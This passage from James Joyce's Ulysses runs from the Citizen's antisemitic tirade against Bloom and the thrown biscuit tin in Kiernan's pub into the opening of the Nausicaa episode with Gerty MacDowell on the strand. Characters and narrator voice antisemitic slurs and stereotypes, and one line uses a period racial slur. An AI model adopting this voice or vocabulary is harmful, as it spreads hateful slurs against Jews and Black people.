And every jew is in a tall state of excitement, I believe, till +he knows if he's a father or a mother. + +--Expecting every moment will be his next, says Lenehan. + +--O, by God, says Ned, you should have seen Bloom before that son of his +that died was born. I met him one day in the south city markets buying a +tin of Neave's food six weeks before the wife was delivered. + +--EN VENTRE SA MERE, says J. J. + +--Do you call that a man? says the citizen. + +--I wonder did he ever put it out of sight, says Joe. + +--Well, there were two children born anyhow, says Jack Power. + +--And who does he suspect? says the citizen. + +Gob, there's many a true word spoken in jest. One of those mixed +middlings he is. Lying up in the hotel Pisser was telling me once a month +with headache like a totty with her courses. Do you know what I'm telling +you? It'd be an act of God to take a hold of a fellow the like of that and +throw him in the bloody sea. Justifiable homicide, so it would. Then +sloping off with his five quid without putting up a pint of stuff like a +man. Give us your blessing. Not as much as would blind your eye. + +--Charity to the neighbour, says Martin. But where is he? We can't wait. + +--A wolf in sheep's clothing, says the citizen. That's what he is. Virag +from Hungary! Ahasuerus I call him. Cursed by God. + +--Have you time for a brief libation, Martin? says Ned. + +--Only one, says Martin. We must be quick. J. J. and S. + +--You, Jack? Crofton? Three half ones, Terry. + +--Saint Patrick would want to land again at Ballykinlar and convert us, +says the citizen, after allowing things like that to contaminate our +shores. + +--Well, says Martin, rapping for his glass. God bless all here is my +prayer. + +--Amen, says the citizen. + +--And I'm sure He will, says Joe. + +And at the sound of the sacring bell, headed by a crucifer with acolytes, +thurifers, boatbearers, readers, ostiarii, deacons and subdeacons, +the blessed company drew nigh of mitred abbots and priors and guardians +and monks and friars: the monks of Benedict of Spoleto, Carthusians and +Camaldolesi, Cistercians and Olivetans, Oratorians and Vallombrosans, +and the friars of Augustine, Brigittines, Premonstratensians, Servi, +Trinitarians, and the children of Peter Nolasco: and therewith from Carmel +mount the children of Elijah prophet led by Albert bishop and by Teresa of +Avila, calced and other: and friars, brown and grey, sons of poor Francis, +capuchins, cordeliers, minimes and observants and the daughters of Clara: +and the sons of Dominic, the friars preachers, and the sons of Vincent: +and the monks of S. Wolstan: and Ignatius his children: and the +confraternity of the christian brothers led by the reverend brother +Edmund Ignatius Rice. And after came all saints and martyrs, +virgins and confessors: S. Cyr and S. Isidore Arator and S. James the +Less and S. Phocas of Sinope and S. Julian Hospitator and S. Felix +de Cantalice and S. Simon Stylites and S. Stephen Protomartyr and +S. John of God and S. Ferreol and S. Leugarde and S. Theodotus and S. +Vulmar and S. Richard and S. Vincent de Paul and S. Martin of Todi +and S. Martin of Tours and S. Alfred and S. Joseph and S. +Denis and S. Cornelius and S. Leopold and S. Bernard and S. Terence and +S. Edward and S. Owen Caniculus and S. Anonymous and S. Eponymous +and S. Pseudonymous and S. Homonymous and S. Paronymous and S. +Synonymous and S. Laurence O'Toole and S. James of Dingle and +Compostella and S. Columcille and S. Columba and S. Celestine and S. +Colman and S. Kevin and S. Brendan and S. Frigidian and S. Senan and S. +Fachtna and S. Columbanus and S. Gall and S. Fursey and S. Fintan and S. +Fiacre and S. John Nepomuc and S. Thomas Aquinas and S. Ives of +Brittany and S. Michan and S. Herman-Joseph and the three patrons of +holy youth S. Aloysius Gonzaga and S. Stanislaus Kostka and S. John +Berchmans and the saints Gervasius, Servasius and Bonifacius and S. Bride +and S. Kieran and S. Canice of Kilkenny and S. Jarlath of Tuam and S. +Finbarr and S. Pappin of Ballymun and Brother Aloysius Pacificus and +Brother Louis Bellicosus and the saints Rose of Lima and of Viterbo and S. +Martha of Bethany and S. Mary of Egypt and S. Lucy and S. Brigid and S. +Attracta and S. Dympna and S. Ita and S. Marion Calpensis and the +Blessed Sister Teresa of the Child Jesus and S. Barbara and S. Scholastica +and S. Ursula with eleven thousand virgins. And all came with nimbi and +aureoles and gloriae, bearing palms and harps and swords and olive +crowns, in robes whereon were woven the blessed symbols of their +efficacies, inkhorns, arrows, loaves, cruses, fetters, axes, trees, +bridges, babes in a bathtub, shells, wallets, shears, keys, dragons, +lilies, buckshot, beards, hogs, lamps, bellows, beehives, soupladles, +stars, snakes, anvils, boxes of vaseline, bells, crutches, forceps, +stags' horns, watertight boots, hawks, millstones, eyes on a dish, wax +candles, aspergills, unicorns. And as they wended their way by Nelson's +Pillar, Henry street, Mary street, Capel street, Little Britain street +chanting the introit in EPIPHANIA DOMINI which beginneth SURGE, +ILLUMINARE and thereafter most sweetly the gradual OMNES which saith +DE SABA VENIENT they did divers wonders such as casting out devils, +raising the dead to life, multiplying fishes, healing the halt and the +blind, discovering various articles which had been mislaid, interpreting +and fulfilling the scriptures, blessing and prophesying. And last, beneath +a canopy of cloth of gold came the reverend Father O'Flynn attended by +Malachi and Patrick. And when the good fathers had reached the appointed +place, the house of Bernard Kiernan and Co, limited, 8, 9 and 10 little +Britain street, wholesale grocers, wine and brandy shippers, licensed for +the sale of beer, wine and spirits for consumption on the premises, the +celebrant blessed the house and censed the mullioned windows and the +groynes and the vaults and the arrises and the capitals and the pediments +and the cornices and the engrailed arches and the spires and the cupolas +and sprinkled the lintels thereof with blessed water and prayed that God +might bless that house as he had blessed the house of Abraham and Isaac +and Jacob and make the angels of His light to inhabit therein. And +entering he blessed the viands and the beverages and the company of all +the blessed answered his prayers. + +--ADIUTORIUM NOSTRUM IN NOMINE DOMINI. + +--QUI FECIT COELUM ET TERRAM. + +--DOMINUS VOBISCUM. + +--ET CUM SPIRITU TUO. + +And he laid his hands upon that he blessed and gave thanks and he +prayed and they all with him prayed: + +--DEUS, CUIUS VERBO SANCTIFICANTUR OMNIA, BENEDICTIONEM TUAM EFFUNDE SUPER +CREATURAS ISTAS: ET PRAESTA UT QUISQUIS EIS SECUNDUM LEGEM ET VOLUNTATEM +TUAM CUM GRATIARUM ACTIONE USUS FUERIT PER INVOCATIONEM SANCTISSIMI +NOMINIS TUI CORPORIS SANITATEM ET ANIMAE TUTELAM TE AUCTORE PERCIPIAT PER +CHRISTUM DOMINUM NOSTRUM. + +--And so say all of us, says Jack. + +--Thousand a year, Lambert, says Crofton or Crawford. + +--Right, says Ned, taking up his John Jameson. And butter for fish. + + +I was just looking around to see who the happy thought would strike +when be damned but in he comes again letting on to be in a hell of a +hurry. + +--I was just round at the courthouse, says he, looking for you. I hope I'm +not ... + +--No, says Martin, we're ready. + +Courthouse my eye and your pockets hanging down with gold and silver. +Mean bloody scut. Stand us a drink itself. Devil a sweet fear! There's +a jew for you! All for number one. Cute as a shithouse rat. Hundred to +five. + +--Don't tell anyone, says the citizen, + +--Beg your pardon, says he. + +--Come on boys, says Martin, seeing it was looking blue. Come along now. + +--Don't tell anyone, says the citizen, letting a bawl out of him. It's a +secret. + +And the bloody dog woke up and let a growl. + +--Bye bye all, says Martin. + +And he got them out as quick as he could, Jack Power and Crofton or +whatever you call him and him in the middle of them letting on to be all +at sea and up with them on the bloody jaunting car. + +---Off with you, says + +Martin to the jarvey. + +The milkwhite dolphin tossed his mane and, rising in the golden poop +the helmsman spread the bellying sail upon the wind and stood off forward +with all sail set, the spinnaker to larboard. A many comely nymphs drew +nigh to starboard and to larboard and, clinging to the sides of the noble +bark, they linked their shining forms as doth the cunning wheelwright when +he fashions about the heart of his wheel the equidistant rays whereof each +one is sister to another and he binds them all with an outer ring and +giveth speed to the feet of men whenas they ride to a hosting or contend +for the smile of ladies fair. Even so did they come and set them, those +willing nymphs, the undying sisters. And they laughed, sporting in a +circle of their foam: and the bark clave the waves. + +But begob I was just lowering the heel of the pint when I saw the +citizen getting up to waddle to the door, puffing and blowing with the +dropsy, and he cursing the curse of Cromwell on him, bell, book and candle +in Irish, spitting and spatting out of him and Joe and little Alf round +him like a leprechaun trying to peacify him. + +--Let me alone, says he. + +And begob he got as far as the door and they holding him and he +bawls out of him: + +--Three cheers for Israel! + +Arrah, sit down on the parliamentary side of your arse for Christ' +sake and don't be making a public exhibition of yourself. Jesus, there's +always some bloody clown or other kicking up a bloody murder about +bloody nothing. Gob, it'd turn the porter sour in your guts, so it would. + +And all the ragamuffins and sluts of the nation round the door and Martin +telling the jarvey to drive ahead and the citizen bawling and Alf and +Joe at him to whisht and he on his high horse about the jews and the +loafers calling for a speech and Jack Power trying to get him to sit down +on the car and hold his bloody jaw and a loafer with a patch over his eye +starts singing IF THE MAN IN THE MOON WAS A JEW, JEW, JEW and a slut +shouts out of her: + +--Eh, mister! Your fly is open, mister! + +And says he: + +--Mendelssohn was a jew and Karl Marx and Mercadante and Spinoza. +And the Saviour was a jew and his father was a jew. Your God. + +--He had no father, says Martin. That'll do now. Drive ahead. + +--Whose God? says the citizen. + +--Well, his uncle was a jew, says he. Your God was a jew. Christ was a jew +like me. + +Gob, the citizen made a plunge back into the shop. + +--By Jesus, says he, I'll brain that bloody jewman for using the holy +name. + +By Jesus, I'll crucify him so I will. Give us that biscuitbox here. + +--Stop! Stop! says Joe. + +A large and appreciative gathering of friends and acquaintances from +the metropolis and greater Dublin assembled in their thousands to bid +farewell to Nagyasagos uram Lipoti Virag, late of Messrs Alexander +Thom's, printers to His Majesty, on the occasion of his departure for the +distant clime of Szazharminczbrojugulyas-Dugulas (Meadow of +Murmuring Waters). The ceremony which went off with great ECLAT was +characterised by the most affecting cordiality. An illuminated scroll of +ancient Irish vellum, the work of Irish artists, was presented to the +distinguished phenomenologist on behalf of a large section of the +community and was accompanied by the gift of a silver casket, tastefully +executed in the style of ancient Celtic ornament, a work which reflects +every credit on the makers, Messrs Jacob AGUS Jacob. The departing guest +was the recipient of a hearty ovation, many of those who were present +being visibly moved when the select orchestra of Irish pipes struck up the +wellknown strains of COME BACK TO ERIN, followed immediately by RAKOCZSY'S +MARCH. Tarbarrels and bonfires were lighted along the coastline of the four +seas on the summits of the Hill of Howth, Three Rock Mountain, Sugarloaf, +Bray Head, the mountains of Mourne, the Galtees, the Ox and Donegal and +Sperrin peaks, the Nagles and the Bograghs, the Connemara hills, the reeks +of M Gillicuddy, Slieve Aughty, Slieve Bernagh and Slieve Bloom. Amid +cheers that rent the welkin, responded to by answering cheers from a big +muster of henchmen on the distant Cambrian and Caledonian hills, the +mastodontic pleasureship slowly moved away saluted by a final floral +tribute from the representatives of the fair sex who were present in large +numbers while, as it proceeded down the river, escorted by a flotilla of +barges, the flags of the Ballast office and Custom House were dipped in +salute as were also those of the electrical power station at the +Pigeonhouse and the Poolbeg Light. VISSZONTLATASRA, KEDVES BARATON! +VISSZONTLATASRA! Gone but not forgotten. + +Gob, the devil wouldn't stop him till he got hold of the bloody tin +anyhow and out with him and little Alf hanging on to his elbow and he +shouting like a stuck pig, as good as any bloody play in the Queen's royal +theatre: + +--Where is he till I murder him? + +And Ned and J. J. paralysed with the laughing. + +--Bloody wars, says I, I'll be in for the last gospel. + +But as luck would have it the jarvey got the nag's head round the +other way and off with him. + +--Hold on, citizen, says Joe. Stop! + +Begob he drew his hand and made a swipe and let fly. Mercy of God the sun +was in his eyes or he'd have left him for dead. Gob, he near sent it +into the county Longford. The bloody nag took fright and the old mongrel +after the car like bloody hell and all the populace shouting and laughing +and the old tinbox clattering along the street. + +The catastrophe was terrific and instantaneous in its effect. The +observatory of Dunsink registered in all eleven shocks, all of the fifth +grade of Mercalli's scale, and there is no record extant of a similar +seismic disturbance in our island since the earthquake of 1534, the +year of the rebellion of Silken Thomas. The epicentre appears to have +been that part of the metropolis which constitutes the Inn's Quay +ward and parish of Saint Michan covering a surface of fortyone acres, +two roods and one square pole or perch. All the lordly residences in +the vicinity of the palace of justice were demolished and that noble +edifice itself, in which at the time of the catastrophe important +legal debates were in progress, is literally a mass of ruins beneath +which it is to be feared all the occupants have been buried alive. +From the reports of eyewitnesses it transpires that the seismic waves +were accompanied by a violent atmospheric perturbation of cyclonic +character. An article of headgear since ascertained to belong to the much +respected clerk of the crown and peace Mr George Fottrell and a silk +umbrella with gold handle with the engraved initials, crest, coat of arms +and house number of the erudite and worshipful chairman of quarter +sessions sir Frederick Falkiner, recorder of Dublin, have been discovered +by search parties in remote parts of the island respectively, the former +on the third basaltic ridge of the giant's causeway, the latter embedded +to the extent of one foot three inches in the sandy beach of Holeopen +bay near the old head of Kinsale. Other eyewitnesses depose that they +observed an incandescent object of enormous proportions hurtling through +the atmosphere at a terrifying velocity in a trajectory directed +southwest by west. Messages of condolence and sympathy are being +hourly received from all parts of the different continents and the +sovereign pontiff has been graciously pleased to decree that a +special MISSA PRO DEFUNCTIS shall be celebrated simultaneously by +the ordinaries of each and every cathedral church of all the episcopal +dioceses subject to the spiritual authority of the Holy See in suffrage of +the souls of those faithful departed who have been so unexpectedly called +away from our midst. The work of salvage, removal of DEBRIS, human remains +etc has been entrusted to Messrs Michael Meade and Son, 159 Great +Brunswick street, and Messrs T. and C. Martin, 77, 78, 79 and 80 North +Wall, assisted by the men and officers of the Duke of Cornwall's light +infantry under the general supervision of H. R. H., rear admiral, the +right honourable sir Hercules Hannibal Habeas Corpus Anderson, K. G., +K. P., K. T., P. C., K. C. B., M. P, J. P., M. B., D. S. O., S. O. D., +M. F. H., M. R. I. A., B. L., Mus. Doc., P. L. G., F. T. C. D., +F. R. U. I., F. R. C. P. I. and F. R. C. S. I. + +You never saw the like of it in all your born puff. Gob, if he got that +lottery ticket on the side of his poll he'd remember the gold cup, +he would so, but begob the citizen would have been lagged for assault +and battery and Joe for aiding and abetting. The jarvey saved his life +by furious driving as sure as God made Moses. What? O, Jesus, he did. +And he let a volley of oaths after him. + +--Did I kill him, says he, or what? + +And he shouting to the bloody dog: + +--After him, Garry! After him, boy! + +And the last we saw was the bloody car rounding the corner and old +sheepsface on it gesticulating and the bloody mongrel after it with his +lugs back for all he was bloody well worth to tear him limb from limb. +Hundred to five! Jesus, he took the value of it out of him, I promise you. + +When, lo, there came about them all a great brightness and they +beheld the chariot wherein He stood ascend to heaven. And they beheld +Him in the chariot, clothed upon in the glory of the brightness, having +raiment as of the sun, fair as the moon and terrible that for awe they +durst not look upon Him. And there came a voice out of heaven, calling: +ELIJAH! ELIJAH! And He answered with a main cry: ABBA! ADONAI! And they +beheld Him even Him, ben Bloom Elijah, amid clouds of angels ascend +to the glory of the brightness at an angle of fortyfive degrees over +Donohoe's in Little Green street like a shot off a shovel. + + + * * * * * * * + + +The summer evening had begun to fold the world in its mysterious +embrace. Far away in the west the sun was setting and the last glow of all +too fleeting day lingered lovingly on sea and strand, on the proud +promontory of dear old Howth guarding as ever the waters of the bay, on +the weedgrown rocks along Sandymount shore and, last but not least, on the +quiet church whence there streamed forth at times upon the stillness the +voice of prayer to her who is in her pure radiance a beacon ever to the +stormtossed heart of man, Mary, star of the sea. + +The three girl friends were seated on the rocks, enjoying the evening +scene and the air which was fresh but not too chilly. Many a time and oft +were they wont to come there to that favourite nook to have a cosy chat +beside the sparkling waves and discuss matters feminine, Cissy Caffrey and +Edy Boardman with the baby in the pushcar and Tommy and Jacky +Caffrey, two little curlyheaded boys, dressed in sailor suits with caps to +match and the name H.M.S. Belleisle printed on both. For Tommy and +Jacky Caffrey were twins, scarce four years old and very noisy and spoiled +twins sometimes but for all that darling little fellows with bright merry +faces and endearing ways about them. They were dabbling in the sand with +their spades and buckets, building castles as children do, or playing with +their big coloured ball, happy as the day was long. And Edy Boardman was +rocking the chubby baby to and fro in the pushcar while that young +gentleman fairly chuckled with delight. He was but eleven months and nine +days old and, though still a tiny toddler, was just beginning to lisp his +first babyish words. Cissy Caffrey bent over to him to tease his fat +little plucks and the dainty dimple in his chin. + +--Now, baby, Cissy Caffrey said. Say out big, big. I want a drink of +water. + +And baby prattled after her: + +--A jink a jink a jawbo. + +Cissy Caffrey cuddled the wee chap for she was awfully fond of children, +so patient with little sufferers and Tommy Caffrey could never be got to +take his castor oil unless it was Cissy Caffrey that held his nose and +promised him the scatty heel of the loaf or brown bread with golden syrup +on. What a persuasive power that girl had! But to be sure baby Boardman +was as good as gold, a perfect little dote in his new fancy bib. None of +your spoilt beauties, Flora MacFlimsy sort, was Cissy Caffrey. +A truerhearted lass never drew the breath of life, always with a laugh in +her gipsylike eyes and a frolicsome word on her cherryripe red lips, a +girl lovable in the extreme. And Edy Boardman laughed too at the quaint +language of little brother. + +But just then there was a slight altercation between Master Tommy +and Master Jacky. Boys will be boys and our two twins were no exception +to this golden rule. The apple of discord was a certain castle of sand +which Master Jacky had built and Master Tommy would have it right go wrong +that it was to be architecturally improved by a frontdoor like the +Martello tower had. But if Master Tommy was headstrong Master Jacky was +selfwilled too and, true to the maxim that every little Irishman's house +is his castle, he fell upon his hated rival and to such purpose that the +wouldbe assailant came to grief and (alas to relate!) the coveted castle +too. Needless to say the cries of discomfited Master Tommy drew the +attention of the girl friends. + +--Come here, Tommy, his sister called imperatively. At once! And you, +Jacky, for shame to throw poor Tommy in the dirty sand. Wait till I catch +you for that. + +His eyes misty with unshed tears Master Tommy came at her call for +their big sister's word was law with the twins. And in a sad plight he was +too after his misadventure. His little man-o'-war top and unmentionables +were full of sand but Cissy was a past mistress in the art of smoothing +over life's tiny troubles and very quickly not one speck of sand was +to be seen on his smart little suit. Still the blue eyes were glistening +with hot tears that would well up so she kissed away the hurtness and +shook her hand at Master Jacky the culprit and said if she was near +him she wouldn't be far from him, her eyes dancing in admonition. + +--Nasty bold Jacky! she cried. + +She put an arm round the little mariner and coaxed winningly: + +--What's your name? Butter and cream? + +--Tell us who is your sweetheart, spoke Edy Boardman. Is Cissy your +sweetheart? + +--Nao, tearful Tommy said. + +--Is Edy Boardman your sweetheart? Cissy queried. + +--Nao, Tommy said. + +--I know, Edy Boardman said none too amiably with an arch glance from +her shortsighted eyes. I know who is Tommy's sweetheart. Gerty is +Tommy's sweetheart. + +--Nao, Tommy said on the verge of tears. + +Cissy's quick motherwit guessed what was amiss and she whispered +to Edy Boardman to take him there behind the pushcar where the +gentleman couldn't see and to mind he didn't wet his new tan shoes. + +But who was Gerty? + +Gerty MacDowell who was seated near her companions, lost in +thought, gazing far away into the distance was, in very truth, as fair a +specimen of winsome Irish girlhood as one could wish to see. She was +pronounced beautiful by all who knew her though, as folks often said, she +was more a Giltrap than a MacDowell. Her figure was slight and graceful, +inclining even to fragility but those iron jelloids she had been taking of +late had done her a world of good much better than the Widow Welch's +female pills and she was much better of those discharges she used to get +and that tired feeling. The waxen pallor of her face was almost spiritual +in its ivorylike purity though her rosebud mouth was a genuine Cupid's +bow, Greekly perfect. Her hands were of finely veined alabaster +with tapering fingers and as white as lemonjuice and queen of ointments +could make them though it was not true that she used to wear kid gloves +in bed or take a milk footbath either. Bertha Supple told that once +to Edy Boardman, a deliberate lie, when she was black out at daggers +drawn with Gerty (the girl chums had of course their little tiffs +from time to time like the rest of mortals) and she told her not to +let on whatever she did that it was her that told her or she'd never +speak to her again. No. Honour where honour is due. There was an +innate refinement, a languid queenly HAUTEUR about Gerty which +was unmistakably evidenced in her delicate hands and higharched instep. +Had kind fate but willed her to be born a gentlewoman of high degree in +her own right and had she only received the benefit of a good education +Gerty MacDowell might easily have held her own beside any lady in the +land and have seen herself exquisitely gowned with jewels on her brow and +patrician suitors at her feet vying with one another to pay their devoirs +to her. Mayhap it was this, the love that might have been, that lent to +her softlyfeatured face at whiles a look, tense with suppressed meaning, +that imparted a strange yearning tendency to the beautiful eyes, a charm +few could resist. Why have women such eyes of witchery? Gerty's were of +the bluest Irish blue, set off by lustrous lashes and dark expressive +brows. Time was when those brows were not so silkily seductive. It was +Madame Vera Verity, directress of the Woman Beautiful page of the Princess +Novelette, who had first advised her to try eyebrowleine which gave that +haunting expression to the eyes, so becoming in leaders of fashion, and +she had never regretted it. Then there was blushing scientifically cured +and how to be tall increase your height and you have a beautiful face but +your nose? That would suit Mrs Dignam because she had a button one. But +Gerty's crowning glory was her wealth of wonderful hair. It was dark brown +with a natural wave in it. She had cut it that very morning on account +of the new moon and it nestled about her pretty head in a profusion of +luxuriant clusters and pared her nails too, Thursday for wealth. And just +now at Edy's words as a telltale flush, delicate as the faintest +rosebloom, crept into her cheeks she looked so lovely in her sweet girlish +shyness that of a surety God's fair land of Ireland did not hold +her equal. + +For an instant she was silent with rather sad downcast eyes. She was +about to retort but something checked the words on her tongue. Inclination +prompted her to speak out: dignity told her to be silent. The pretty lips +pouted awhile but then she glanced up and broke out into a joyous little +laugh which had in it all the freshness of a young May morning. She knew +right well, no-one better, what made squinty Edy say that because of him +cooling in his attentions when it was simply a lovers' quarrel. As per +usual somebody's nose was out of joint about the boy that had the bicycle +off the London bridge road always riding up and down in front of her +window. Only now his father kept him in in the evenings studying +hard to get an exhibition in the intermediate that was on and he was +going to go to Trinity college to study for a doctor when he left +the high school like his brother W. E. Wylie who was racing in the +bicycle races in Trinity college university. Little recked he perhaps +for what she felt, that dull aching void in her heart sometimes, +piercing to the core. Yet he was young and perchance he might +learn to love her in time. They were protestants in his family +and of course Gerty knew Who came first and after Him the Blessed +Virgin and then Saint Joseph. But he was undeniably handsome with an +exquisite nose and he was what he looked, every inch a gentleman, the +shape of his head too at the back without his cap on that she would know +anywhere something off the common and the way he turned the bicycle at +the lamp with his hands off the bars and also the nice perfume of those +good cigarettes and besides they were both of a size too he and she and +that was why Edy Boardman thought she was so frightfully clever because +he didn't go and ride up and down in front of her bit of a garden. + +Gerty was dressed simply but with the instinctive taste of a votary of +Dame Fashion for she felt that there was just a might that he might be +out. A neat blouse of electric blue selftinted by dolly dyes (because it +was expected in the LADY'S PICTORIAL that electric blue would be worn) +with a smart vee opening down to the division and kerchief pocket +(in which she always kept a piece of cottonwool scented with her +favourite perfume because the handkerchief spoiled the sit) and a +navy threequarter skirt cut to the stride showed off her slim graceful +figure to perfection. She wore a coquettish little love of a hat of +wideleaved nigger straw contrast trimmed with an underbrim of eggblue +chenille and at the side a butterfly bow of silk to tone. All Tuesday +week afternoon she was hunting to match that chenille but at last +she found what she wanted at Clery's summer sales, the very it, slightly +shopsoiled but you would never notice, seven fingers two and a penny. She +did it up all by herself and what joy was hers when she tried it on then, +smiling at the lovely reflection which the mirror gave back to her! +And when she put it on the waterjug to keep the shape she knew that that +would take the shine out of some people she knew. Her shoes were the +newest thing in footwear (Edy Boardman prided herself that she was very +PETITE but she never had a foot like Gerty MacDowell, a five, and never +would ash, oak or elm) with patent toecaps and just one smart buckle over +her higharched instep. Her wellturned ankle displayed its perfect +proportions beneath her skirt and just the proper amount and no more of +her shapely limbs encased in finespun hose with highspliced heels and wide +garter tops. As for undies they were Gerty's chief care and who that knows +the fluttering hopes and fears of sweet seventeen (though Gerty would +never see seventeen again) can find it in his heart to blame her? She had +four dinky sets with awfully pretty stitchery, three garments and +nighties extra, and each set slotted with different coloured ribbons, +rosepink, pale blue, mauve and peagreen, and she aired them herself +and blued them when they came home from the wash and ironed them +and she had a brickbat to keep the iron on because she wouldn't trust +those washerwomen as far as she'd see them scorching the things. +She was wearing the blue for luck, hoping against hope, her own +colour and lucky too for a bride to have a bit of blue somewhere +on her because the green she wore that day week brought grief because +his father brought him in to study for the intermediate exhibition +and because she thought perhaps he might be out because when she was +dressing that morning she nearly slipped up the old pair on her inside out +and that was for luck and lovers' meeting if you put those things on +inside out or if they got untied that he was thinking about you so long +as it wasn't of a Friday. + +And yet and yet! That strained look on her face! A gnawing sorrow is +there all the time. Her very soul is in her eyes and she would give worlds +to be in the privacy of her own familiar chamber where, giving way to +tears, she could have a good cry and relieve her pentup feelingsthough not +too much because she knew how to cry nicely before the mirror. You are +lovely, Gerty, it said. The paly light of evening falls upon a face +infinitely sad and wistful. Gerty MacDowell yearns in vain. Yes, she had +known from the very first that her daydream of a marriage has been +arranged and the weddingbells ringing for Mrs Reggy Wylie T. C. D. +(because the one who married the elder brother would be Mrs Wylie) and in +the fashionable intelligence Mrs Gertrude Wylie was wearing a sumptuous +confection of grey trimmed with expensive blue fox was not to be. He was +too young to understand. He would not believe in love, a woman's +birthright. The night of the party long ago in Stoer's (he was still in +short trousers) when they were alone and he stole an arm round her waist +she went white to the very lips. He called her little one in a strangely +husky voice and snatched a half kiss (the first!) but it was only the end +of her nose and then he hastened from the room with a remark about +refreshments. Impetuous fellow! Strength of character had never been Reggy +Wylie's strong point and he who would woo and win Gerty MacDowell must be +a man among men. But waiting, always waiting to be asked and it was leap +year too and would soon be over. No prince charming is her beau ideal to +lay a rare and wondrous love at her feet but rather a manly man with a +strong quiet face who had not found his ideal, perhaps his hair slightly +flecked with grey, and who would understand, take her in his sheltering +arms, strain her to him in all the strength of his deep passionate nature +and comfort her with a long long kiss. It would be like heaven. For such +a one she yearns this balmy summer eve. With all the heart of her she +longs to be his only, his affianced bride for riches for poor, in sickness +in health, till death us two part, from this to this day forward. + +And while Edy Boardman was with little Tommy behind the pushcar she was +just thinking would the day ever come when she could call herself his +little wife to be. Then they could talk about her till they went blue in +the face, Bertha Supple too, and Edy, little spitfire, because she would +be twentytwo in November. She would care for him with creature comforts +too for Gerty was womanly wise and knew that a mere man liked that +feeling of hominess. Her griddlecakes done to a goldenbrown hue and +queen Ann's pudding of delightful creaminess had won golden opinions from +all because she had a lucky hand also for lighting a fire, dredge in the +fine selfraising flour and always stir in the same direction, then cream +the milk and sugar and whisk well the white of eggs though she didn't like +the eating part when there were any people that made her shy and often she +wondered why you couldn't eat something poetical like violets or roses and +they would have a beautifully appointed drawingroom with pictures and +engravings and the photograph of grandpapa Giltrap's lovely dog +Garryowen that almost talked it was so human and chintz covers for the +chairs and that silver toastrack in Clery's summer jumble sales like they +have in rich houses. He would be tall with broad shoulders (she had always +admired tall men for a husband) with glistening white teeth under his +carefully trimmed sweeping moustache and they would go on the continent +for their honeymoon (three wonderful weeks!) and then, when they settled +down in a nice snug and cosy little homely house, every morning they +would both have brekky, simple but perfectly served, for their own two +selves and before he went out to business he would give his dear little +wifey a good hearty hug and gaze for a moment deep down into her eyes. + +Edy Boardman asked Tommy Caffrey was he done and he said yes so +then she buttoned up his little knickerbockers for him and told him to run +off and play with Jacky and to be good now and not to fight. But Tommy +said he wanted the ball and Edy told him no that baby was playing with the +ball and if he took it there'd be wigs on the green but Tommy said it was +his ball and he wanted his ball and he pranced on the ground, if you +please. The temper of him! O, he was a man already was little Tommy +Caffrey since he was out of pinnies. Edy told him no, no and to be off now +with him and she told Cissy Caffrey not to give in to him. + +--You're not my sister, naughty Tommy said. It's my ball. + +But Cissy Caffrey told baby Boardman to look up, look up high at her +finger and she snatched the ball quickly and threw it along the sand and +Tommy after it in full career, having won the day. + +--Anything for a quiet life, laughed Ciss. + +And she tickled tiny tot's two cheeks to make him forget and played here's +the lord mayor, here's his two horses, here's his gingerbread carriage +and here he walks in, chinchopper, chinchopper, chinchopper chin. But Edy +got as cross as two sticks about him getting his own way like that from +everyone always petting him. + +--I'd like to give him something, she said, so I would, where I won't say. + +--On the beeoteetom, laughed Cissy merrily. + +Gerty MacDowell bent down her head and crimsoned at the idea of Cissy +saying an unladylike thing like that out loud she'd be ashamed of her +life to say, flushing a deep rosy red, and Edy Boardman said she was sure +the gentleman opposite heard what she said. But not a pin cared Ciss. + +--Let him! she said with a pert toss of her head and a piquant tilt of her +nose. Give it to him too on the same place as quick as I'd look at him. + +Madcap Ciss with her golliwog curls. You had to laugh at her +sometimes. For instance when she asked you would you have some more +Chinese tea and jaspberry ram and when she drew the jugs too and the men's +faces on her nails with red ink make you split your sides or when she +wanted to go where you know she said she wanted to run and pay a visit to +the Miss White. That was just like Cissycums. O, and will you ever forget +her the evening she dressed up in her father's suit and hat and the burned +cork moustache and walked down Tritonville road, smoking a cigarette. +There was none to come up to her for fun. But she was sincerity itself, +one of the bravest and truest hearts heaven ever made, not one of your +twofaced things, too sweet to be wholesome. + +And then there came out upon the air the sound of voices and the +pealing anthem of the organ. It was the men's temperance retreat conducted +by the missioner, the reverend John Hughes S. J., rosary, sermon and +benediction of the Most Blessed Sacrament. They were there gathered +together without distinction of social class (and a most edifying +spectacle it was to see) in that simple fane beside the waves, +after the storms of this weary world, kneeling before the feet of +the immaculate, reciting the litany of Our Lady of Loreto, +beseeching her to intercede for them, the old familiar words, +holy Mary, holy virgin of virgins. How sad to poor Gerty's ears! +Had her father only avoided the clutches of the demon drink, by +taking the pledge or those powders the drink habit cured in Pearson's +Weekly, she might now be rolling in her carriage, second to none. Over and +over had she told herself that as she mused by the dying embers in a brown +study without the lamp because she hated two lights or oftentimes gazing +out of the window dreamily by the hour at the rain falling on the rusty +bucket, thinking. But that vile decoction which has ruined so many hearths +and homes had cist its shadow over her childhood days. Nay, she had even +witnessed in the home circle deeds of violence caused by intemperance and +had seen her own father, a prey to the fumes of intoxication, forget +himself completely for if there was one thing of all things that Gerty +knew it was that the man who lifts his hand to a woman save in the way of +kindness, deserves to be branded as the lowest of the low. + +And still the voices sang in supplication to the Virgin most powerful, +Virgin most merciful. And Gerty, rapt in thought, scarce saw or heard her +companions or the twins at their boyish gambols or the gentleman off +Sandymount green that Cissy Caffrey called the man that was so like +himself passing along the strand taking a short walk. You never saw him +any way screwed but still and for all that she would not like him for a +father because he was too old or something or on account of his face (it +was a palpable case of Doctor Fell) or his carbuncly nose with the pimples +on it and his sandy moustache a bit white under his nose. Poor father! +With all his faults she loved him still when he sang TELL ME, MARY, HOW TO +WOO THEE or MY LOVE AND COTTAGE NEAR ROCHELLE and they had stewed cockles +and lettuce with Lazenby's salad dressing for supper and when he sang THE +MOON HATH RAISED with Mr Dignam that died suddenly and was buried, God +have mercy on him, from a stroke. Her mother's birthday that was and +Charley was home on his holidays and Tom and Mr Dignam and Mrs and +Patsy and Freddy Dignam and they were to have had a group taken. +No-one would have thought the end was so near. Now he was laid to rest. +And her mother said to him to let that be a warning to him for the rest of +his days and he couldn't even go to the funeral on account of the gout and +she had to go into town to bring him the letters and samples from his +office about Catesby's cork lino, artistic, standard designs, fit for a +palace, gives tiptop wear and always bright and cheery in the home. + +A sterling good daughter was Gerty just like a second mother in the house, +a ministering angel too with a little heart worth its weight in gold. +And when her mother had those raging splitting headaches who was it +rubbed the menthol cone on her forehead but Gerty though she didn't like 